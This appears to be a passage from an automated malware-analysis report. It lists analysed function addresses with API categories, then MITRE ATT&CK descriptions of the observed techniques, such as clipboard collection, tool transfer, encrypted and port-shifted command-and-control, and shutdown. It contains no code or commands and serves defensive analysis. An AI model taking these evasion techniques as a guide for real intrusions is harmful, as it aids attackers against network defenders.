networkmemorynativeCOMMON

Function 0000023A29E11E80 Relevance: 13.7, APIs: 9, Instructions: 220
memorythreadCOMMON

Function 0000023A29E121C0 Relevance: 13.6, APIs: 9, Instructions: 97
networkCOMMON

Function 0000023A295D0020 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 457
memorynativeCOMMON

Function 0000023A29E1FCF0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 292
fileCOMMON

Function 0000023A29E117D0 Relevance: 38.6, APIs: 14, Strings: 8, Instructions: 112
libraryloaderregistryCOMMON

Function 0000023A29E11BF0 Relevance: 19.7, APIs: 13, Instructions: 152
networktimeCOMMON

Function 0000023A29E14430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowregistryCOMMON

Function 0000023A29E20682 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 223
registryCOMMON

Function 0000023A29E230BC Relevance: 9.1, APIs: 6, Instructions: 63
threadCOMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre